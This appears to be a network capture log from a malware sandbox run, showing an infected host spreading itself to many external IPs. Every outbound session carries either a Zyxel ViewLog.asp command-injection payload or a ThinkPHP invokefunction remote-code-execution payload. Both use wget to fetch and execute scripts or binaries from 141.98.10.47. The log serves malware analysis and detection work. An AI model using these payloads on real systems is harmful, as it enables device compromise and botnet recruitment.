Dec 26, 2023 21:23:28.892157078 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:30.395992994 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:33.403537989 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:39.546664953 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:51.576978922 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:17.173398018 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:06.318475962 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	44992	94.122.94.255	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.158736944 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	51256	94.120.233.207	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.161916971 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	36984	88.198.205.37	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.303801060 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:28.550965071 CET	406	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:28 GMT Server: Apache/2 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	58386	88.99.71.251	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.305378914 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:28.561985016 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:23:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	50428	88.146.114.37	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.305582047 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:28.562220097 CET	380	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:23:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	45942	62.29.10.11	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.371237993 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	48582	88.221.164.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.545952082 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:29.788038969 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:30.021600008 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:29 GMT Date: Tue, 26 Dec 2023 20:23:29 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 31 62 31 31 37 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 32 30 39 26 23 34 36 3b 32 31 31 34 61 39 66 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.11b11702.1703622209.2114a9f6</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	52826	94.121.58.253	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.879987001 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	32838	85.208.123.90	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.884653091 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:29.164855003 CET	1286	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Tue, 26 Dec 2023 19:55:06 GMT Content-Type: text/html Content-Length: 3170 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	47604	31.200.43.221	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.891196966 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	47518	62.84.124.56	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.893423080 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:29.186150074 CET	147	IN	HTTP/1.1 401 Unauthorized date: Tue, 26 Dec 2023 20:23:28 GMT server: uvicorn content-length: 26 content-type: application/json

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	56746	62.56.146.43	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:28.894604921 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:32.123740911 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	44126	112.158.92.81	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:30.924463987 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:31.295430899 CET	243	IN	HTTP/1.0 404 Not Found Content-type: text/html Date: Tue, 26 Dec 2023 20:23:32 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL was not found</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	32810	112.140.176.30	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:30.939590931 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
